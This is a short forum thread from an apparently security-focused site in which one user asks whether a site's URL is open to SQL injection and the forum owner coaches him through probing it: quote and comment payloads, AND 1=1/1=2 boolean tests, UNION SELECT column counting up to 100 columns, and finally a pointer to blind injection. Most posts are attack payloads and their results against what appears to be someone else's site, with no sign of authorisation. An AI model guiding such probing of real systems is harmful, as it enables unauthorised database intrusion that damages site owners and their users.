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www.waraxe.us Forum Index -> Sql injection -> SQL injection help
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SQL injection help
PostPosted: Wed Dec 31, 2008 8:29 pm Reply with quote
fadai
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Joined: Oct 30, 2008
Posts: 11




http://www.site.com/services.php?page=1'

When i goto the above url, it shows the error ;

Code:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/user/htdocs/package/user/classes/structure.php


Could there be an sql injection?
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PostPosted: Thu Jan 01, 2009 1:43 am Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Probably it's sql injection, but more tests needed.

Code:

services.php?page=1z


Code:

services.php?page=1--+


Code:

services.php?page=1)--+


Code:

services.php?page=1+AND+1=1+


Code:

services.php?page=1+AND+1=2+


Look for responses - is there error messages or something else. Post your results here and if sql injection is exploitable, then I will give next hints
Smile
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PostPosted: Sat Jan 03, 2009 9:00 pm Reply with quote
fadai
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Joined: Oct 30, 2008
Posts: 11




Code:

services.php?page=1z

no error
Code:

services.php?page=1--+

no error
Code:

services.php?page=1)--+

no error
Code:

services.php?page=1+AND+1=1+

no error
Code:

services.php?page=1+AND+1=2+

no error
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PostPosted: Sun Jan 04, 2009 12:58 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




OK, try this tests:

Code:

services.php?page=1'--+


Code:

services.php?page=1')--+


Code:

services.php?page=1'+AND+1=2--+


Code:

services.php?page=1')+AND+1=2--+
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PostPosted: Sun Jan 04, 2009 5:24 pm Reply with quote
fadai
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Regular user
Joined: Oct 30, 2008
Posts: 11




Code:

services.php?page=1'--+

error
Code:

services.php?page=1')--+

no error
Code:

services.php?page=1'+AND+1=2--+

error
Code:

services.php?page=1')+AND+1=2--+

no error
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PostPosted: Sun Jan 04, 2009 6:17 pm Reply with quote
waraxe
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Posts: 2407
Location: Estonia, Tartu




OK, now try UNION method:

Code:

services.php?page=-1')+UNION+SELECT+1--+


Code:

services.php?page=-1')+UNION+SELECT+1,2--+


Code:

services.php?page=-1')+UNION+SELECT+1,2,3--+


If you will get errors, then continue tests (1,2,3,4 etc) till you get no errors.
This will be right column count you need for further exploitation.
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PostPosted: Sun Jan 04, 2009 6:33 pm Reply with quote
fadai
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Joined: Oct 30, 2008
Posts: 11




Code:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/customer/htdocs/pack/user/classes/structure.php on line 19



i am getting this error , should i continue with this error?
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PostPosted: Sun Jan 04, 2009 9:01 pm Reply with quote
waraxe
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Posts: 2407
Location: Estonia, Tartu




Yes, continue test, because valid column count can be big number, like 25 or even 50.
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PostPosted: Mon Jan 05, 2009 10:16 am Reply with quote
fadai
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Regular user
Joined: Oct 30, 2008
Posts: 11




Code:
http://www.site.com/services.php?page=-1')+UNION+SELECT+1,2,3,.....,90,91,92,93,94,95,96,97,98,99,100--+


Still this error

Code:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/customer/htdocs/pack/user/classes/structure.php on line 19


Do u still recommend to continue?
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PostPosted: Mon Jan 05, 2009 1:25 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




No, do not continue. It's obvious, that UNION method does not work here as expected. This may be older mysql version without UNION support or there can be multiple sql queries with different column count. Seems, that your best option is blind sql injection. This means, that exploiting will take more time and needs more experience.
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SQL injection help
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